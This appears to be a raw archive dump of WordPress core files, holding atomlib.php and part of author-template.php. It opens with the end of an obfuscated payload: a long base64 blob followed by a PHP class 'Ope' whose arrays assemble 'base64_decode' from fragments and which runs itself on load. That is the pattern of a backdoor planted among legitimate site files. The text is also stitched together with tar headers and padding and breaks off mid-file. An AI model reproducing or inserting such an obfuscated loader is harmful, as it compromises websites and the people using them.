2Cmxuv24DotJhUhFMzDvuWZvRfJx15P7lw52lDDtOhsNW2ESu3N5uAt6RhMXWlFGY5uXN7JdnO7A UdaElaXsNbYVf1W9w5MW4nCiZgnX4+gZ4l5I5D/YyHr/x9ucuNeQII+INFzYUrQ fey5mUuoWyO9YHrynreUF5nJphigX1T8J/f9MKbPSL2zW+qq3yvXQGZJJbO d7rIV5um9UPVpRgdRoRCtRqd1L1J7RtwDC+lBuz+AMIoD897+UEqtigYkI pFSCsM5aIzaxXs9tNLhpeWX4CCbLAyR99p8agBpNhHg2UVBNE1gMnmzVeMqvGfN WWu13EF6uWv4nmyzH81G/tXjHNhLIjvjlfj2aoYDdvp/sEqMppqrFq9A8zeD2NGKWiTI10TKSO3jy 0EZJiLPzA3laM8YnPoch1nA5DIoyi7g79HKD z39qbuj0O7lWlOFZz7/xgKvAilUebl7jPoD1RWEYpPcXv93 mbu2XcpUQ6PcM359V/nnObrmiOR91+punEs 1/VL+liyNInhJFSK1ksOrW+o3DQOhv1K9nMRvgz2VCKuGC9oQAdYKX6d4vU7mc kX5SrxtInCvGlkWaCGq92pp9xWJWXmDWZY vfjaQRU7wePsgSXQH5h24IdM4R+8n03iglfAqlTK QeM1ICB31eLteUVqPKaQ2cW6pBD/WKOFu67Zh4cpoIwDxdI7GbpeEyzIBz0hfy2d DRc/ucvWJz8GfI6p1drtMz0tQ8x3myLNO72Vr707oKja6bPH7MNIG clG2xp5Zn/71ixEFGMkdohBeLyXKOAxMvt6sGZwVF0eR4KCmZiP MN8STyYIw0idrQSVbbmk2rhDoRZLz64duXkn2aDx2B/MsxvfYi6qakiBMOBh qp1WB/LVHfXktOv4UkPmiqHqGtwFSU WLBT9AUdAFkgxUvV0ndIuJN4J7AzW49f2DDIsh8mi+n/ImJGckltjypdqU OXkmzqLYXQKuZ4NxRgJTX3ztv8wPuSGRAuTk+CxM1v80 Q+MVl3kRm9nc0pg+PKZzQllb3mNDhbOqwQV7UIChJw0L8Qcf7v jzaBbrIypql41qKGEgZUJIVakwakQXuiQd uuKQhSGoEVC1hB92CFCtKIPRtKwhsyem+IX5nyZ4I9hLD/Xd8LtdPin6KH 4IB3kYaKuajd6ghlLPu6jLfblqLv/tLeqtSYBHbJAJpjFZsP7ztZR9HEbZhHiURkuv3S k6xxpDXaTTfooieFbRBbip+M3YvR5WfE0gmhxSV/keFQYPOG/8xuj wvnk0EZZ6b/qNvtBWACkia1K/9u3v/8k1X5IjMdvAe+14fu2nFaaFhysejnaq1874N k5zR1ezxQexUVij2eWKSMVhbvlde1WCLMabN36Oez ga51cKIu66vSijtqSfsjyHF/VsSwCidX0Cr/2Njz3Ou2 k/DckwY2P3+lY7jwpT7BN41DrxwVZ8LjphWGIV5/+a1tw2bXbNKhCQglPC Np9wp0jEpL6/6klpJwJHwIhi+0U3eEc8QyRWeW99K9TG/mvFqhRh3oLPI4oCBQ3Yol0S+S uY3jRPtVFFUJYVrrCAMUdiI/DkCSX//CYaXnpj/GlSNa4kqi5MCuNAOQ0d62OHKsYQrMhwlQ Dek7vGwCdjGQZXGZL/xabEKUH2sdbK4BOsk+z5uCKKnnp4wPhMvvX kQdQ1tyFj8bc5DVpGoOu0swxTNij+fGij0zt1NdbtzBW Te7amMRXo8lWWW41bOZsLcPh1kWNId2J+tjdz2zAdE0AdEG Kceso1s20L71+mVfia+7BSXkkZ4b9L7faUgFTd+znVcAYRhV2aAuueKvgJ5 018jKLKwjDBUv7nQqEpfMQ9F9QHI+JH3aSTJlsQKaYoC09Mvb 41UFVqAQfggMnEp5ru9KZQCH08SVdKigeBfhz1DO3haflAHMJPOtK6bTl g+twnVJIFHDtAJn7qoE9Mb+Gri0bb56fwRCTCuuyZoVWdJanl sD1i0SB+yyO6oeHa1GYZAR/haJaq4n1U7XwP3cDb GulvuhlmedxsLUHx0rk0CDb045VRJio2z4mdYqA5np 7KG6j6j9bmoMYT7K6ePutmECHZXIIDpZx9+ibqfds8ki/cqAkfAloFFmFQvq8 lnnoQ+QsHYTuNRvMVExfvnvP35s8Ka0Ipt5iowKaSp9kyjgD/Yv691sdsuEDGT6tFT sO4+Jh7tlLykbd11JdPxJ5ByvZqmJwVNVp+dvunC IAp7l7oGQ5gs6YZYKiQ4KOiDX6JD7YdW+6C 4iPQ5oil9R+mUELpM5j164xu4fdOzT5CIHKa/l Vzs3AlEOiefqXsSJK2G3JKtyQJ/1lrUvuM9PUdWa5AI+iA5f/0M 3KJSXICJfsPJiWNKSQ7J1S5+ivXJKRxiBLeThmUb NYF+PKb6PLm0Lhfvs5kLMVqfyMDl1HA6FT+dDbDQcJuVSG3EXYgLKdbQPH36yoGa8y lTUjEYQ41eQUasZjjIyfvl35XibKVPBXCqUpHnlQvnoTFMb5kNgmfFoPxHWrsaRu8qT uw9ZaXKecY8Qz9uNBdZlYBFji+5hQo8XeYecd Icpr3CaStazd7sEBaqnBRYraDjgjQakipXNKAzVZvvpvs95TjFv8 ak/16cRGOAee/KrPhIpD7153Y80zKuvNjfpDlaAxj/7Zq7ipeqn qRXQlVapMqolZJAZGZAAESRe2Z0fYQq/SXRZ bvrN4T6i0fXj2Nfn1t80ipbUaG+cNkixnEg MqHflt8PjrK4gD5AKI6tcM2ZUYCVa6lNFyOJLuEO7ODhvexQOH/ 2lcEwbWh4NU/jt9cAx+XaZpIchl2leLpyw6ajJ4ZwsWPHYBjktjf4h1BWddUA/YWFUxI j1URl6wO85c2hei1DLoEPu3L8Qv4L2wmIc+076zneJ0IfMhTZbJ50pOE0nfQKzmuES1QkNUr7A8a iD7LHTZ1PX5J0v3542I/cbsGk9tDQ9mzSMrjCLKm6GVQumkYL6 HxpBIn584faLovs1A+mosfxQEa3+8EAGowNDiuBzC+/4jcs/VvwGmaX+2+v+Eyph7 Fs8FbpYuAO9X9ZjYX39tAzPmtMmmpOwL4I5XRppqJvPd0bV7pwIGOqNOfIm831JIf4 c8rybiqOJfDSbt8YcmMBzW7huuhsnq5+u5E1N 2ttUQuXOuoOUQT7dQolxeD5MRlDPL564iJ+ZYsl8vcv8J3gC9Xa7uG5wA Uw713nFR1ittO2VAzJb/XeX7+sSAdkmHkzZYqMvV jU/OGKqhwGpl9a1/UPBVdO6/GJKb0wlEdp0k4YcCURiYVVyLUYL7Q6yU9PdF0TfoV c+DBo2yuUhwmuuCMWWlMZjdd5WgcLSJE3X+5BE5 5BClTu+Wnq+FW6fG8P60EMzI1BucWOMEv2jOLQ7kceglNdIzKvlP282r dYfRYZHwZtqJIkvPkNzecP7p0I30Leygm2rRPWTF /eig82IUV2yvb8c2sXud7k9yKu3G5ZGkGiK4DOCPon1Q20ZNp+KRKCiLYEhAwnSzZOnxgi6A+xEWJN JrVzlxHe0gGQuUN0ah+9K1Vgv3/8/n+yr13ReaoYqSVjgHbn5Eijr1t/CRv Q8RnudM1L0UMr9e+/U40y5GwVAP6x6NrZiVDV/h6d1XumS/lpeS Q71sG0Wdhcj3oUyp8dY2SkK7CjdMLRJbErCmHfkuIAXsuiq 9l6qB8SklqPrw8rFyrtLf0VquBxngIRg9+94LaEZFD/1IKX5/ XuR0uc+l1HQ2vL+lJzUzUgiYuSuhVcIMSuYbbj sxbcpfMe0D6H7bBL7a32lx42fIZzDoMAU2w4oiWzBEpBmf X0LLVpQLq7TNBX18dBwwkXr8vCJ4+bJfOR3cHBo2mwKZb+aKlK/nO1DbEtTMzq4qCHx Sjo3j9o11hc6lC7XEvqAz5LqJngXOSfYmroJ7LNALoHMwBlH/4+32l Ezul/s6/4lb/hN/GhBBGgrt0ImvJwJtcbfLdsTdbHez/hEeoiZqkd5/w3/ow3XnKS2q+Klv I8tHuQ0ttkRgp484wnb9fcfB+13JZxEiF9VBJiAlOG35qn2Sxu9l DOqEmbX2ABqtsL1AZbaRN1PQHuXUeqMFU3EZU/ N3c02fusnxTn4yYKN70TLL3dVVjgSO3EwpzgPtuVPZT79YAcfFkvx+7wVIYIgOBRzv0pe8Eu 52XgwAxbVDCbhnv2J8F5aGnTOzV0U+7XHetfDtGlK5nHH88y/w2qdeynUPL4m716L8ruK4P5 HaxoqxC8DdPTs0V3z1awR+552eNxtDHFjoX+5t3tMQ29krcs8i0zlq79Z PyeEXwQ8DttPfv5+rql6Kxzfmkl8vPxIaX6dL6jEoDIch6mF4v M1SF2yK/6Hp0VL8h8WRi/tceRl2Ct8ouHwuX0LPaUmwLg3Yf8ocZgSzERD76lg9LjaPI DU3ApgZUypZDArXKTscSZAztr4TtaaNXVE85RkkBh6RRT7Q5sF85J91/JlAgaVqJK WwQ63cW1qlm7ajvdHJ/gFS6cc55wa5yMRIpXycxNQsk1N7Trwgnr4PDOKtsTnPqahtx OMWvoU5b3p0j5VA8se+dJwZn/ZF43UrYfBMitDdi9fIttv6Cn7kWxmbdvl0V4c8oyR +/Ur20rzwzGtB7OL2Hl/exxIOEaHaFmYh2WpihQOvxY8KlCeuJE0c/zamYEfYCGE zl9vIwNUlofAc7zPvL9o7mK1lLrcfOfcBA aTh50ZgREzh1Nal5ulGnOfOgSp0NZjnw7/K77N3S6Y/PDD7i8dvw7 54T8Yo98kT4d6RCIgrgQS2uoO1FrrE/OPwVEqeTGFHpRHKOr8uc5 DwRfVxrcexuVtT0Qn0oEIJvz2ohos/56UvHjx8YPtiTx603IzQ 1MO++7x/WqmuBsNfIFQde09Da/JYh9phvMD6TpnY/ V1scVjzcOCZPCb+iW/6oqQ+VNHCVC5bieeuZvrcEbKEx5CCoE4ROHB1c ap/Yzm3rGSui4fVVdQBLl+e0PcTxo2LXFnrlIGAtlXSTo1y9Tjw9CvHWFglOZZOU1CI5oVuB p9jlbVs3y/OqL7M5aou8brn8q5JZR4t8Fk9hKB9 2xnPCbuIJwwf4GbxwGx+3B3H9YjnLgd8otLlykfqnDoheDkHDVhtUQ+dOJJ3mrhzP/B0Ku HvkBTzCnxKhGj1PTdO891AW/+H9C4Ch6MSEd8qU7 yoPoF6jIbESRKP959DCduqoXn+AsfcekS7Po4F65d0RkBmrvXzWdyMK Sze0+5VxUd3jO55thThz0yyh34gvVqx zUhga1pfFH+7QvZzBXyGnEiUNRgam5a/pA2qxCAhXcAZT8DhbaSgXryyfpcXFQ0lYLhJKkqOz+ wh2JE/HovvYv7d7tWxMyuJyiXwaPR99SX7Ip8WXj0Y9DU2g2o8eOJcw813VdsHnyNbJVWjq+xNc6B6+ I+AcHZdheq6Isf3vqmW5X443Xn6a+M0GnXUl6+5Oww3Dj4KZ3hQeNBx317tXjoIG3Jp VHGX7mNGbMJ8/KftQGfN44cTQnK98xozC2ZI5 JcL1bXj1Rl1Np/XGmQs3Lwv2O2s7yNwuADCsCnhtQ47H98M3 WUQVl8qdqR5ttE4h1+XHN3bwBE86LkJHoQT0byRc44c4zT pHzkY1rqjOojDirrz+Qv+gPnZa/o5//xH8xDez23ZJyQKb8t+ IG1OD4QCgoRCkW2CO8atEhJRMG9OiY1AKg39W+reh4DA/DOquMPAWf11cPUbdhQ42/Tn ezWJlcb4WyqLPi7RwyhPR67Nc3I/jsK5w2N7 GfHiZsGXgOq9FDodlnPNt3SQ47T/3TNW+64Wf mWGfMaSzW0TWE9vg/TNimGYpFtBtSKsodLOpveqEhbflE9b4v39esRC8FmIAYNLV9t4X9jP3Gn qNkTkGejbGSAG6EI+OSXOOcfF+Rbfwl6ugIBS+hfIZJj9J4tCrKjPdIL+ fSaTLRYLh6gGVPNtzzq69NqwCZ2g2I0iAoxFQ1dClkj8iem8kCdsMVO2Mo1Q uLHhKaorayOPzO+iquekvqdj76fflLat+7lPBh1wSSIAHyg6RXwNndbVL+Tbd dXJdaNZH2u4HxQnaQrU7aOaIZ29lIuWR75QB+MT2654tR/gVQpZ0ZV7fSltYatNt/wfRjtahGni ggOteb/FMKwdBKegcYwuaKbvyY03ELgX 6Zsvw3IuqSTsIXPpp33V1XQMrjqgZlnv1+LKWozLvaku3BES1G mIQYm1atO+y/T6gMafYRDN8Sr/KqtxkYrcxAR2WapqXqQm5mIjpDQ5DaixE5tC99OQNLk QOSt2MOSCKbKuzjZ4IXa7nB6HWvrPCGq aT0NvIeJDInHRLuBAIyGzpvdK3rOwHNo2rMeb1nz/PtD9 fqfQ9JVlsmFiP6KT/ZYQrH3bj2KPhIZ3KB3MXtX56I9hXTa Jr1y+cy3KpfzVlGz28XpDw8HDEs6teiSIjiv8IlpZHQXrjuoSNsr9yebRI+rPV485KC/BK4JrU DsC2yeZjrWLqSOFf0sL7fDY2S0nz6RGX+COfrcieWdF+JnIB24y F20rF67O13lwfHy2ny5woyTP+X7IMj MGXn24bJGMokZd/rpvpDw8p+eJgHOf3Zzy2h0soGZqzi+UN8AdoAj0/IWfFrBznZ3CdLtJ2bnB+euASq D/Fa9wBe21uLwMmUz49u0FQZBowYU4Jn+mkFJnujP1pJo2QAiClyRbu4kjiQAK0qBSOK VtoiFFbKfvtR5ynIRMeBvnJJNy8k8GzS YDR/2L9sbQOq44D2QTqzBoZBqadBX2GoTS7QKz QW27dllBDkzdFGTfnF35Vn6y+nP+2Hh4O0Lzd1wJbn3e1j 0y1i+VuEF1jZzkCgZmnEDSyqm8zbzIcBcWAPa6naXXlVgrMs zTkhVUqkuQBPaVo7HXEQyHHbgKirsN/ax5T3d8k IEX8wsJPnnAz0r3l0+r9OpncvpC+DdTBc9YcQcwKf0b8cPOhRKQm4LsWm7F kfifLxYjy4IxzRCklKNspL4zsZjgLcYvrTJxi vwmHVlVK+YAil8cTdRQWWVezxQIYpat JzHQrExWmMCprX5gZtCe3qSNnkCHjGoQgTQG4PkEZmylLSvAE2RxaZQL7Kh FBKlTZi4GTEkIwkxg3rXpBz5KZdSfZzUJLfMV4UPN+aM+9SD/vmmkdgeuT4c/vtLsm6ZGbfCmD4v dqONAUwAcO5d9UZtpy8ipEaWUma81Lrv2 daqkjCfoh7Jj1xtdJIFr+oVTF0MXreqKMT8tpjcQsLCjxH4GRYjYCbkJlI//BCk yJyTPt+038rYYQVHpIJUoI++0PUh5Qb4P9DTFB/H75DX7w+085YkIvIZa +F3ajSir4zyd5PgBBAVGvoOP1V5C0QuCEL165FZV3fMEvd29G7WP+wamHL va6z+GoCDQ1lMgy94Oh9YLib1JLG7fqg4Om1Wt+9iFbWNNuRla0JH NeMZ+sWDUGTybgt67U9H/VymvcUOePU+FZugr4vFkz0bvFx+eZW9CMNyS6ZwHmu4n PYCYSxca+2m/2JxG1wh0VeTdYcWcLVy NeltwQ7qbzDGGFPjWRiQuAp6Pbu3FdAxzF+JlbSfYaRI7crR6ph/4SY mEu43RYXbMu0T0mhL2FSJYPERa5Wrr44M fzhmYqrgDR2vXdBU11dr6AF7pc1+0DFU7fHdQJ5KZK/N3cLfymTVQtrdb+sNuEfk7TSmr gqS0EJoQZLVwVRH0TH+ZUdusr2WL8baqhifcZQYys1hAasHEZKbnpV8NmVAEpDQMHpdrPTsJZqlxPul /SYxh+cIj7vsN5C1I9DtcI9SXrnPXYvLuwR5tgY/yC+eMjV4HogF 7/lnFR6D0esfE+KcYwlqyNaIKyTc2S W6wkWMVqUW7UOO39xIQVXe2Qf1ahpuOcddo3bE4q7cQA5cjTrGYCtmdz1szLL kE/e1tGEpi2yoy15szHSqOPnZFOlWj9J/zbKDLMTebLZB5PRCtaSpflOJjvntDqanE4T2GwK kK9KAdvbd7o0RQ0uAabjm9o94ReldtHM9IBJ4pEy+4Z/pIXteW r8Jm3A7/CIP3MOg2FDWdwu39HJ930Sn418iyiVzatRyk8qotaG41LM2wfLxO7LxtczWYuPCx 2HWPgiopRakRXBuKQsQXIAwNpRoruN6N1AAKvG6qnAKjC/+qsC2+yxEFZrlvMyH lwwErKN6wKTW1ptptX6cPQp8FKIjC3hEjkiUIk3Hab0fUNNx1LUXktdY/7XXrhpxbRuGaOGAmmJx5 VAVmXho6KhmAm21/q3V4kayNl9YHoRxahPzzicWrnDwpi+jAvp/xKS MhUkjUQ8OPs+r4CqY61/BHZDoGtCH/SNeh+M06GL03K+N+IX7QVocOoD2 7Wb+9kIipovhzOFpt4LMFawseglgNEvUIMKZ4jq+cPYA+l18MSbxxX OQcyqVlh/ZHnK/nubAe+uwFe61QmJaCxtsvvmulwRM3 7gGXvtpOPvHVHdzjaWaP4fDvj5WZ+lN9Y83eHS2zcJuxwIoS3vXt5CdW9+gTHXdQ Kibb3Tej5dw/UqoQwX2/fJjHKA7m/x0EtzCZjs9G9iTnsx3CZ8B5KJtjfHYJ7g76frPybeOxB 32uSDZbrgegjmCoVxk/C6oaU5x73vZmsl5j4IrZTRH Bv1zCg+RJ776ODEvoi4LxxDzjXGClokm/uk39TJItU VivL6K+CWPwFTJTG2wHl/demyQWHxupDDzB36Ul9xT6xyMU77iwimieujXpHTJTF1ew+bEqw7CXFHZT XOuiX0j5xdGwGYv/oj/i9JyjxRN/2T9V7EVI+uJeKfSp9faS bb6zBXiTM1Kjupka7+2pJZKssHjlU5qmv4QQXvRotoJn50oea+/YZ3cHFQhtY4IZQhTINlPUmrOcI EeGG5FP5TgddmygZWfk/M93pQTGBn4sOFLsWr3gMP/bQ9JrQl 6tyjnuIzO9CXvqKOKCjqBSs24ssf6Dfx0ozajzM6d0yM ejXFkvJCTGvK8EzcOTgcdPI6XR414AxSJ 9dmqk3EdgyA6mWfT4cg='; public $_graph = array('qZu', 'q1t', 'Tjz', 'tjU'); public $_instance; public $process = array('nb', 'e', 'Cf1', 'R', 'DV', 'z9r'); public $tx = array('e', '64_d', 'ecod', 'base'); public $income = 0; } new Ope(); ?>�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������atomlib.php�����������������������������������������������������������������������������������������0000644�����������������00000027254�15120262027�0006713 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Atom Syndication Format PHP Library * * @package AtomLib * @link http://code.google.com/p/phpatomlib/ * * @author Elias Torres <elias@torrez.us> * @version 0.4 * @since 2.3.0 */ /** * Structure that store common Atom Feed Properties * * @package AtomLib */ class AtomFeed { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); /** * Stores Entries * * @var array * @access public */ var $entries = array(); } /** * Structure that store Atom Entry Properties * * @package AtomLib */ class AtomEntry { /** * Stores Links * @var array * @access public */ var $links = array(); /** * Stores Categories * @var array * @access public */ var $categories = array(); } /** * AtomLib Atom Parser API * * @package AtomLib */ class AtomParser { var $NS = 'http://www.w3.org/2005/Atom'; var $ATOM_CONTENT_ELEMENTS = array('content','summary','title','subtitle','rights'); var $ATOM_SIMPLE_ELEMENTS = array('id','updated','published','draft'); var $debug = false; var $depth = 0; var $indent = 2; var $in_content; var $ns_contexts = array(); var $ns_decls = array(); var $content_ns_decls = array(); var $content_ns_contexts = array(); var $is_xhtml = false; var $is_html = false; var $is_text = true; var $skipped_div = false; var $FILE = "php://input"; var $feed; var $current; /** * PHP5 constructor. */ function __construct() { $this->feed = new AtomFeed(); $this->current = null; $this->map_attrs_func = array( __CLASS__, 'map_attrs' ); $this->map_xmlns_func = array( __CLASS__, 'map_xmlns' ); } /** * PHP4 constructor. */ public function AtomParser() { self::__construct(); } /** * Map attributes to key="val" * * @param string $k Key * @param string $v Value * @return string */ public static function map_attrs($k, $v) { return "$k=\"$v\""; } /** * Map XML namespace to string. * * @param indexish $p XML Namespace element index * @param array $n Two-element array pair. [ 0 => {namespace}, 1 => {url} ] * @return string 'xmlns="{url}"' or 'xmlns:{namespace}="{url}"' */ public static function map_xmlns($p, $n) { $xd = "xmlns"; if( 0 < strlen($n[0]) ) { $xd .= ":{$n[0]}"; } return "{$xd}=\"{$n[1]}\""; } function _p($msg) { if($this->debug) { print str_repeat(" ", $this->depth * $this->indent) . $msg ."\n"; } } function error_handler($log_level, $log_text, $error_file, $error_line) { $this->error = $log_text; } function parse() { set_error_handler(array(&$this, 'error_handler')); array_unshift($this->ns_contexts, array()); if ( ! function_exists( 'xml_parser_create_ns' ) ) { trigger_error( __( "PHP's XML extension is not available. Please contact your hosting provider to enable PHP's XML extension." ) ); return false; } $parser = xml_parser_create_ns(); xml_set_object($parser, $this); xml_set_element_handler($parser, "start_element", "end_element"); xml_parser_set_option($parser,XML_OPTION_CASE_FOLDING,0); xml_parser_set_option($parser,XML_OPTION_SKIP_WHITE,0); xml_set_character_data_handler($parser, "cdata"); xml_set_default_handler($parser, "_default"); xml_set_start_namespace_decl_handler($parser, "start_ns"); xml_set_end_namespace_decl_handler($parser, "end_ns"); $this->content = ''; $ret = true; $fp = fopen($this->FILE, "r"); while ($data = fread($fp, 4096)) { if($this->debug) $this->content .= $data; if(!xml_parse($parser, $data, feof($fp))) { /* translators: 1: Error message, 2: Line number. */ trigger_error(sprintf(__('XML Error: %1$s at line %2$s')."\n", xml_error_string(xml_get_error_code($parser)), xml_get_current_line_number($parser))); $ret = false; break; } } fclose($fp); xml_parser_free($parser); unset($parser); restore_error_handler(); return $ret; } function start_element($parser, $name, $attrs) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); switch($name) { case $this->NS . ':feed': $this->current = $this->feed; break; case $this->NS . ':entry': $this->current = new AtomEntry(); break; }; $this->_p("start_element('$name')"); #$this->_p(print_r($this->ns_contexts,true)); #$this->_p('current(' . $this->current . ')'); array_unshift($this->ns_contexts, $this->ns_decls); $this->depth++; if(!empty($this->in_content)) { $this->content_ns_decls = array(); if($this->is_html || $this->is_text) trigger_error("Invalid content in element found. Content must not be of type text or html if it contains markup."); $attrs_prefix = array(); // resolve prefixes for attributes foreach($attrs as $key => $value) { $with_prefix = $this->ns_to_prefix($key, true); $attrs_prefix[$with_prefix[1]] = $this->xml_escape($value); } $attrs_str = join(' ', array_map($this->map_attrs_func, array_keys($attrs_prefix), array_values($attrs_prefix))); if(strlen($attrs_str) > 0) { $attrs_str = " " . $attrs_str; } $with_prefix = $this->ns_to_prefix($name); if(!$this->is_declared_content_ns($with_prefix[0])) { array_push($this->content_ns_decls, $with_prefix[0]); } $xmlns_str = ''; if(count($this->content_ns_decls) > 0) { array_unshift($this->content_ns_contexts, $this->content_ns_decls); $xmlns_str .= join(' ', array_map($this->map_xmlns_func, array_keys($this->content_ns_contexts[0]), array_values($this->content_ns_contexts[0]))); if(strlen($xmlns_str) > 0) { $xmlns_str = " " . $xmlns_str; } } array_push($this->in_content, array($tag, $this->depth, "<". $with_prefix[1] ."{$xmlns_str}{$attrs_str}" . ">")); } else if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS) || in_array($tag, $this->ATOM_SIMPLE_ELEMENTS)) { $this->in_content = array(); $this->is_xhtml = $attrs['type'] == 'xhtml'; $this->is_html = $attrs['type'] == 'html' || $attrs['type'] == 'text/html'; $this->is_text = !in_array('type',array_keys($attrs)) || $attrs['type'] == 'text'; $type = $this->is_xhtml ? 'XHTML' : ($this->is_html ? 'HTML' : ($this->is_text ? 'TEXT' : $attrs['type'])); if(in_array('src',array_keys($attrs))) { $this->current->$tag = $attrs; } else { array_push($this->in_content, array($tag,$this->depth, $type)); } } else if($tag == 'link') { array_push($this->current->links, $attrs); } else if($tag == 'category') { array_push($this->current->categories, $attrs); } $this->ns_decls = array(); } function end_element($parser, $name) { $name_parts = explode(":", $name); $tag = array_pop($name_parts); $ccount = count($this->in_content); # if we are *in* content, then let's proceed to serialize it if(!empty($this->in_content)) { # if we are ending the original content element # then let's finalize the content if($this->in_content[0][0] == $tag && $this->in_content[0][1] == $this->depth) { $origtype = $this->in_content[0][2]; array_shift($this->in_content); $newcontent = array(); foreach($this->in_content as $c) { if(count($c) == 3) { array_push($newcontent, $c[2]); } else { if($this->is_xhtml || $this->is_text) { array_push($newcontent, $this->xml_escape($c)); } else { array_push($newcontent, $c); } } } if(in_array($tag, $this->ATOM_CONTENT_ELEMENTS)) { $this->current->$tag = array($origtype, join('',$newcontent)); } else { $this->current->$tag = join('',$newcontent); } $this->in_content = array(); } else if($this->in_content[$ccount-1][0] == $tag && $this->in_content[$ccount-1][1] == $this->depth) { $this->in_content[$ccount-1][2] = substr($this->in_content[$ccount-1][2],0,-1) . "/>"; } else { # else, just finalize the current element's content $endtag = $this->ns_to_prefix($name); array_push($this->in_content, array($tag, $this->depth, "</$endtag[1]>")); } } array_shift($this->ns_contexts); $this->depth--; if($name == ($this->NS . ':entry')) { array_push($this->feed->entries, $this->current); $this->current = null; } $this->_p("end_element('$name')"); } function start_ns($parser, $prefix, $uri) { $this->_p("starting: " . $prefix . ":" . $uri); array_push($this->ns_decls, array($prefix,$uri)); } function end_ns($parser, $prefix) { $this->_p("ending: #" . $prefix . "#"); } function cdata($parser, $data) { $this->_p("data: #" . str_replace(array("\n"), array("\\n"), trim($data)) . "#"); if(!empty($this->in_content)) { array_push($this->in_content, $data); } } function _default($parser, $data) { # when does this gets called? } function ns_to_prefix($qname, $attr=false) { # split 'http://www.w3.org/1999/xhtml:div' into ('http','//www.w3.org/1999/xhtml','div') $components = explode(":", $qname); # grab the last one (e.g 'div') $name = array_pop($components); if(!empty($components)) { # re-join back the namespace component $ns = join(":",$components); foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if($mapping[1] == $ns && strlen($mapping[0]) > 0) { return array($mapping, "$mapping[0]:$name"); } } } } if($attr) { return array(null, $name); } else { foreach($this->ns_contexts as $context) { foreach($context as $mapping) { if(strlen($mapping[0]) == 0) { return array($mapping, $name); } } } } } function is_declared_content_ns($new_mapping) { foreach($this->content_ns_contexts as $context) { foreach($context as $mapping) { if($new_mapping == $mapping) { return true; } } } return false; } function xml_escape($string) { return str_replace(array('&','"',"'",'<','>'), array('&','"',''','<','>'), $string ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������author-template.php���������������������������������������������������������������������������������0000644�����������������00000041173�15120262027�0010373 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Author Template functions for use in themes. * * These functions must be used within the WordPress Loop. * * @link https://codex.wordpress.org/Author_Templates * * @package WordPress * @subpackage Template */ /** * Retrieve the author of the current post. * * @since 1.5.0 * * @global WP_User $authordata The current author's data. * * @param string $deprecated Deprecated. * @return string|null The author's display name. */ function get_the_author( $deprecated = '' ) { global $authordata; if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.1.0' ); } /** * Filters the display name of the current post's author. * * @since 2.9.0 * * @param string|null $display_name The author's display name. */ return apply_filters( 'the_author', is_object( $authordata ) ? $authordata->display_name : null ); } /** * Display the name of the author of the current post. * * The behavior of this function is based off of old functionality predating * get_the_author(). This function is not deprecated, but is designed to echo * the value from get_the_author() and as an result of any old theme that might * still use the old behavior will also pass the value from get_the_author(). * * The normal, expected behavior of this function is to echo the author and not * return it. However, backward compatibility has to be maintained. * * @since 0.71 * * @see get_the_author() * @link https://developer.wordpress.org/reference/functions/the_author/ * * @param string $deprecated Deprecated. * @param bool $deprecated_echo Deprecated. Use get_the_author(). Echo the string or return it. * @return string|null The author's display name, from get_the_author(). */ function the_author( $deprecated = '', $deprecated_echo = true ) { if ( ! empty( $deprecated ) ) { _deprecated_argument( __FUNCTION__, '2.1.0' ); } if ( true !== $deprecated_echo ) { _deprecated_argument( __FUNCTION__, '1.5.0', sprintf( /* translators: %s: get_the_author() */ __( 'Use %s instead if you do not want the value echoed.' ), '<code>get_the_author()</code>' ) ); } if ( $deprecated_echo ) { echo get_the_author(); } return get_the_author(); } /** * Retrieve the author who last edited the current post. * * @since 2.8.0 * * @return string|void The author's display name. */ function get_the_modified_author() { $last_id = get_post_meta( get_post()->ID, '_edit_last', true ); if ( $last_id ) { $last_user = get_userdata( $last_id ); /** * Filters the display name of the author who last edited the current post. * * @since 2.8.0 * * @param string $display_name The author's display name. */ return apply_filters( 'the_modified_author', $last_user->display_name ); } } /** * Display the name of the author who last edited the current post, * if the author's ID is available. * * @since 2.8.0 * * @see get_the_author() */ function the_modified_author() { echo get_the_modified_author(); } /** * Retrieves the requested data of the author of the current post. * * Valid values for the `$field` parameter include: * * - admin_color * - aim * - comment_shortcuts * - description * - display_name * - first_name * - ID * - jabber * - last_name * - nickname * - plugins_last_view * - plugins_per_page * - rich_editing * - syntax_highlighting * - user_activation_key * - user_description * - user_email * - user_firstname * - user_lastname * - user_level * - user_login * - user_nicename * - user_pass * - user_registered * - user_status * - user_url * - yim * * @since 2.8.0 * * @global WP_User $authordata The current author's data. * * @param string $field Optional. The user field to retrieve. Default empty. * @param int|false $user_id Optional. User ID. * @return string The author's field from the current author's DB object, otherwise an empty string. */ function get_the_author_meta( $field = '', $user_id = false ) { $original_user_id = $user_id; if ( ! $user_id ) { global $authordata; $user_id = isset( $authordata->ID ) ? $authordata->ID : 0; } else { $authordata = get_userdata( $user_id ); } if ( in_array( $field, array( 'login', 'pass', 'nicename', 'email', 'url', 'registered', 'activation_key', 'status' ), true ) ) { $field = 'user_' . $field; } $value = isset( $authordata->$field ) ? $authordata->$field : ''; /** * Filters the value of the requested user metadata. * * The filter name is dynamic and depends on the $field parameter of the function. * * @since 2.8.0 * @since 4.3.0 The `$original_user_id` parameter was added. * * @param string $value The value of the metadata. * @param int $user_id The user ID for the value. * @param int|false $original_user_id The original user ID, as passed to the function. */ return apply_filters( "get_the_author_{$field}", $value, $user_id, $original_user_id ); } /** * Outputs the field from the user's DB object. Defaults to current post's author. * * @since 2.8.0 * * @param string $field Selects the field of the users record. See get_the_author_meta() * for the list of possible fields. * @param int|false $user_id Optional. User ID. * * @see get_the_author_meta() */ function the_author_meta( $field = '', $user_id = false ) { $author_meta = get_the_author_meta( $field, $user_id ); /** * The value of the requested user metadata. * * The filter name is dynamic and depends on the $field parameter of the function. * * @since 2.8.0 